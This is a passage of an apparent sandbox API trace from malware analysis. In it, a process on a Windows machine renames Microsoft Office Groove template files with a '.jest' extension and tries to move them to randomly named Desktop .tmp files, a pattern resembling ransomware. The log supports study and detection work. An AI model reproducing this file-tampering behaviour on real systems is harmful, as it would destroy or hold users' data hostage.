"c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wyr2b7rc8r_tuyxq9x3efkkddwrkmx3wohbdc rj8vh8vwjryamnvfln2ueibohj2kq2toahx99uu8rac_tupsshsvm0u-tyz1sse.tmp")) returned 0 [0165.653] GetLastError () returned 0x2 [0165.653] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0165.653] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0165.654] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱛ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.654] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0165.654] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplate.html.jest")) returned 1 [0165.656] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0165.657] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.657] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.657] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x139)) [0165.657] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0165.657] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x139)) [0165.658] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x139)) [0165.658] GetUserDefaultLCID () returned 0x409 [0165.658] VarBstrFromR4 (in: fltIn=0x479457a8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.31") returned 0x0 [0165.658] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.659] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplate.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EPzE862H_qrOBfvt-SBgO5Nthk8PnJqKf4i9T0wrw 3lfKQ-klJ3BJrAwtzU73hVswPEMQMmiYuZJGkqkytOvIeF rP49yt6iHg4A.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\epze862h_qrobfvt-sbgo5nthk8pnjqkf4i9t0wrw 3lfkq-klj3bjrawtzu73hvswpemqmmiyuzjgkqkytovief rp49yt6ihg4a.tmp")) returned 0 [0165.660] GetLastError () returned 0x2 [0165.660] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0165.660] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0165.660] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱟ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.661] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0165.661] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsprinttemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPrintTemplate.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsprinttemplate.html.jest")) returned 1 [0165.663] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0165.664] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.664] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.664] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x139)) [0165.665] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0165.665] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x139)) [0165.665] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x139)) [0165.665] GetUserDefaultLCID () returned 0x409 [0165.665] VarBstrFromR4 (in: fltIn=0x479457a8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.31") returned 0x0 [0165.675] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18ea28 | out: ppsaOut=0x18ea28) returned 0x0 [0165.676] GetUserDefaultLCID () returned 0x409 [0165.676] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.678] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsprinttemplate.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zEwH2ynMh1BMGeRRaiYK_PHxg-N1lhfTdcYFXfWMlmjCulMHMkIv9TWvY-fIMEPjtDo0eTDoup9ljUpi6MTUfJgnHl-2BzCFp2pch.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zewh2ynmh1bmgerraiyk_phxg-n1lhftdcyfxfwmlmjculmhmkiv9twvy-fimepjtdo0etdoup9ljupi6mtufjgnhl-2bzcfp2pch.tmp")) returned 0 [0165.678] GetLastError () returned 0x2 [0165.678] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0165.679] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0165.679] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱤ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.681] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0165.681] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsprinttemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPrintTemplate.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsprinttemplate.html.jest")) returned 1 [0165.685] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0165.685] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.685] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.686] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x159)) [0165.686] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0165.686] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x159)) [0165.686] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x159)) [0165.686] GetUserDefaultLCID () returned 0x409 [0165.686] VarBstrFromR4 (in: fltIn=0x479457ac, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.34") returned 0x0 [0165.687] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.687] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsprinttemplate.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WptVu2luNtobOz7onRtuHm_M-H4WTfpbMVa9uN75uD 3smoB XWCoPHRaM7k4YwWLBWO6nhXpbVlI7FNCsErMnID9tC-9k40Vnkn.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wptvu2luntoboz7onrtuhm_m-h4wtfpbmva9un75ud 3smob xwcophram7k4ywwlbwo6nhxpbvli7fncsermnid9tc-9k40vnkn.tmp")) returned 0 [0165.688] GetLastError () returned 0x2 [0165.688] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0165.688] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0165.688] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.690] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0165.690] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsprinttemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPrintTemplate.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsprinttemplate.html.jest")) returned 1 [0165.693] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0165.693] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.693] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.694] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x159)) [0165.694] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0165.694] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x159)) [0165.694] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x159)) [0165.694] GetUserDefaultLCID () returned 0x409 [0165.694] VarBstrFromR4 (in: fltIn=0x479457ac, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.34") returned 0x0 [0165.694] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.696] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsprinttemplate.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_3AGTImeMAViySGmcK--zS3c-6SG61WCbeyyUdzON2jVDwygePFXqFjCO0E8pcpbcaPqqSNET V-MS6CLW8ODmIinh32sgHzzkY.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_3agtimemaviysgmck--zs3c-6sg61wcbeyyudzon2jvdwygepfxqfjco0e8pcpbcapqqsnet v-ms6clw8odmiinh32sghzzky.tmp")) returned 0 [0165.696] GetLastError () returned 0x2 [0165.696] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0165.696] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0165.697] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱛ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.698] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0165.698] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplate.html.jest")) returned 1 [0165.700] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0165.700] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.701] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.701] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x168)) [0165.701] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0165.701] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x168)) [0165.701] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x168)) [0165.701] GetUserDefaultLCID () returned 0x409 [0165.701] VarBstrFromR4 (in: fltIn=0x479457ae, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.36") returned 0x0 [0165.702] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.703] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplate.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tkqUmyhKOe-j0RjZNSIVveyzHH9yB0v0g0oZ8DBVNy6IL0Se6yo5fANcfahO8beNJwHzxiK-MiB1Q8CRI12hf_GNoi43ruqDXoRW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tkqumyhkoe-j0rjznsivveyzhh9yb0v0g0oz8dbvny6il0se6yo5fancfaho8benjwhzxik-mib1q8cri12hf_gnoi43ruqdxorw.tmp")) returned 0 [0165.703] GetLastError () returned 0x2 [0165.703] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0165.703] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0165.704] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱤ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.707] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0165.708] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsVersion1Warning.htm" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsversion1warning.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsVersion1Warning.htm.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsversion1warning.htm.jest")) returned 1 [0165.715] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0165.715] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.716] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.716] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x178)) [0165.716] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0165.716] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x178)) [0165.716] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x178)) [0165.716] GetUserDefaultLCID () returned 0x409 [0165.716] VarBstrFromR4 (in: fltIn=0x479457b0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.38") returned 0x0 [0165.717] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.718] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsVersion1Warning.htm" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsversion1warning.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\r93QR_rPQyQkgJgtTyWjVx2CFORWLyvVKCm0qlskQC_ji3jdgBw5K qOgGS3lt4mBnKIbqKSgwQdkAm-8HCbdFh7gAtOytheQrEcw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\r93qr_rpqyqkgjgttywjvx2cforwlyvvkcm0qlskqc_ji3jdgbw5k qoggs3lt4mbnkibqksgwqdkam-8hcbdfh7gatoytheqrecw.tmp")) returned 0 [0165.718] GetLastError () returned 0x2 [0165.718] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0165.719] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0165.719] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.720] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0165.720] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsversion1warning.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsversion1warning.htm.jest")) returned 1 [0165.722] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0165.723] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.723] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.723] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x178)) [0165.723] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0165.723] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x178)) [0165.724] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0x178)) [0165.724] GetUserDefaultLCID () returned 0x409 [0165.724] VarBstrFromR4 (in: fltIn=0x479457b0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.38") returned 0x0 [0165.724] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.725] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsversion1warning.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ac-eCk7mD7pZCblBFtcZTzCXCpxTImVd9vP7J_Vvu2MKbXiUYrg_UFzo4iH7QYqlLXeZ_BUVXl9bruAuxc4ppqhtY1WeUTJBho2.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ac-eck7md7pzcblbftcztzcxcpxtimvd9vp7j_vvu2mkbxiuyrg_ufzo4ih7qyqllxez_buvxl9bruauxc4ppqhty1weutjbho2.tmp")) returned 0 [0165.725] GetLastError () returned 0x2 [0165.725] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0165.726] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0165.726] NtCreateFile (in: 